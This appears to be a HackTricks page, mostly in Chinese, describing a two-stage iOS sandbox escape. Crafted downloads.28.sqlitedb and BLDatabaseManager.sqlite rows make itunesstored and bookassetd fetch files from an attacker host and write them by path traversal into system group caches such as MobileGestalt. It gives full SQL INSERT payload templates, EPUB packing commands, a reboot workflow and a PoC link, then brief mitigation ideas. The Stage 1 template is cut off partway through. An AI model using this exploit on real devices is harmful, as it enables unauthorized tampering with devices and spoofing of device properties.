itunesstored & bookassetd Sandbox Escape
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
近期研究表明,两个预装的 iOS 守护进程,itunesstored(下载管理器)和 bookassetd(Books / iBooks 资源管理器),会盲目信任可被用户写入的 SQLite 元数据。通过放置精心构造的 downloads.28.sqlitedb 和 BLDatabaseManager.sqlite 文件以及一个最小的 EPUB 存档,能够在 /var/mobile/Media/ 下具有写权限的攻击者,迫使这些守护进程在大多数位于 /private/var/ 内属于 mobile 的路径上进行任意文件写入。这些原语在重启后仍然有效,并允许篡改 system group 缓存(例如 systemgroup.com.apple.mobilegestaltcache)以伪造设备属性或持久化配置。
关键特性:
- 可在至少 iOS 26.2b1(在 iPhone 12 / iOS 26.0.1 上测试)及更低版本设备上工作。
- 可写目标包括
SystemGroup缓存、/private/var/mobile/Library/FairPlay、/private/var/mobile/Media以及其他属于mobile的文件。对root所有的文件写入会失败。 - 仅需 AFC 级别访问(USB 文件复制)或任何可替换目标 SQLite 数据库并上传有效载荷的立足点。
威胁模型与需求
- 对
/var/mobile/Media/Downloads/和/var/mobile/Media/Books/的本地文件系统访问(通过 AFC 客户端如 3uTools、i4.cn,或通过 USB 的afcclient,或任何先前的入侵获得)。 - 托管攻击者文件的 HTTP 服务器(
BLDatabaseManager.sqlite、iTunesMetadata.plist、精心构造的 EPUB),通过诸如https://ATTACKER_HOST/fileprovider.php?type=...的 URL 暴露。 - 能够对设备进行 多次重启,以使每个守护进程重新加载其数据库。
- 知道 Books 系统组 UUID,以便阶段 1 的写入落入正确的容器(可通过 syslog 找到)。
Stage 1 – Abusing downloads.28.sqlitedb via itunesstored
itunesstored 处理 /var/mobile/Media/Downloads/downloads.28.sqlitedb。asset 表存储 URL + 目标路径元数据,并被视为可信输入。构造一行指向攻击者 URL 并将 local_path 设置为位于 Books SystemGroup 中 .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite 的值,会导致 itunesstored 在启动时下载并用攻击者内容覆盖 Books 数据库。
定位 Books SystemGroup UUID
- 使用
pymobiledevice3收集 syslog 存档:
pymobiledevice3 syslog collect logs.logarchive
- 在 Console.app 中打开
logs.logarchive,搜索bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite。 - 记录
<UUID>并在 SQL 有效负载中替换它。
恶意的 asset 行
阶段 1 INSERT 模板
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/重要字段:
url: 受控于攻击者的端点,返回恶意的BLDatabaseManager.sqlite。local_path: 前面确定的 Books 系统组的BLDatabaseManager.sqlite文件。- 控制标志:保持默认(
asset_type='media'、path_extension='epub'、布尔值按模板设置为 0/1),以便守护进程接受该任务。
部署
- 删除过期的
/var/mobile/Media/Downloads/*条目以避免竞态。 - 通过 AFC 将
downloads.28.sqlitedb替换为精心构造的数据库。 - 重启 →
itunesstored下载 Stage 2 数据库并写入/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist。 - 将该 plist 复制到
/var/mobile/Media/Books/iTunesMetadata.plist;Stage 2 在该位置期望找到它。
Stage 2 – 通过 bookassetd 滥用 BLDatabaseManager.sqlite
bookassetd 拥有更广泛的文件系统权限(entitlements),并信任 ZBLDOWNLOADINFO 表。通过插入一行伪造的购买记录,该记录引用攻击者的 URL 并在 ZPLISTPATH 中包含路径遍历,守护进程会将你的 EPUB 下载到 /var/mobile/Media/Books/asset.epub,随后将元数据解压到 任何可通过 ../../.. 转义序列到达的、属于 mobile 的路径。
恶意的 ZBLDOWNLOADINFO 行
Stage 2 INSERT 模板
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Important fields:
ZASSETPATH: on-disk EPUB location controlled by the attacker.ZURL/ZPERMLINK: attacker URLs hosting the EPUB and auxiliary plist.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– the 路径遍历基准 appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target.- Purchase metadata (
ZSTOREIDENTIFIER, names, timestamps) mimic legitimate entries so the daemon does not discard the row.
After copying the malicious DB into /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (courtesy of Stage 1) and rebooting twice, bookassetd will (1) download the EPUB, (2) process it and write the derived plist under the traversed path.
构造 EPUB Payload
bookassetd respects the EPUB ZIP format: mimetype must be the first uncompressed entry. To map EPUB contents to the MobileGestalt cache, build a directory tree that mirrors the desired path relative to ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
创建归档:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetype通常包含字面值application/epub+zip。Caches/com.apple.MobileGestalt.plist保存攻击者控制的有效载荷,该负载将落在.../Library/Caches/com.apple.MobileGestalt.plist。
Orchestration Workflow
- Prepare files 在攻击者的 HTTP 服务器上准备文件,并为主机/UUID 特定值制作两个 SQLite DB。
- Replace
downloads.28.sqlitedb在设备上替换该文件并重启 → 阶段 1 下载恶意的BLDatabaseManager.sqlite并发出/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist。 - Copy
iTunesMetadata.plist将iTunesMetadata.plist复制到/var/mobile/Media/Books/iTunesMetadata.plist(如果 daemon 删除则重复此操作)。 - Reboot again 再次重启 →
bookassetd使用阶段 2 的 metadata 将asset.epub下载到/var/mobile/Media/Books/。 - Reboot a third time 第三次重启 →
bookassetd处理已下载的 asset,遵循ZPLISTPATH,并将 EPUB 内容写入目标的 SystemGroup 路径(例如com.apple.MobileGestalt.plist)。 - Verify 通过读取被覆盖的 plist 或观察基于 MobileGestalt 的属性(model identifier、activation flags 等)相应变化来验证。
相同的模式允许你将文件放入其他 mobile 所有的缓存下,比如 FairPlay 状态或持久化目录,从而在不需要内核漏洞的情况下实现隐蔽篡改。
Tooling & Operational Notes
pymobiledevice3 syslog collect logs.logarchive– 提取日志存档以发现 Books SystemGroup UUID。- Console.app – 在日志中筛选
bookassetd [Database]: Store is at ...以恢复精确的容器路径。 - AFC clients (
afcclient, 3uTools, i4.cn) – 在未越狱的情况下通过 USB 推/拉 SQLite DB 和 plist 文件。 zip– 打包 payload 时强制执行 EPUB 的排序约束。- Public PoC – https://github.com/hanakim3945/bl_sbx 提供可自定义的基础 SQLite/EPUB 模板。
Detection & Mitigation Ideas
- 将
downloads.28.sqlitedb和BLDatabaseManager.sqlite视为不受信任的输入:验证local_path/ZPLISTPATH保持在批准的沙箱内,拒绝完整限定路径或遍历标记。 - 监控替换这些数据库的 AFC 写入,或在启动后由
itunesstored/bookassetd发起的异常下载行为。 - 在
bookassetd解包时强化检查,对输出目标调用realpath()并确保在写入文件前无法逃离 Books 容器。 - 限制 AFC / USB 文件拷贝通道,或在允许替换 Books/iTunes 元数据文件前要求用户交互。
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

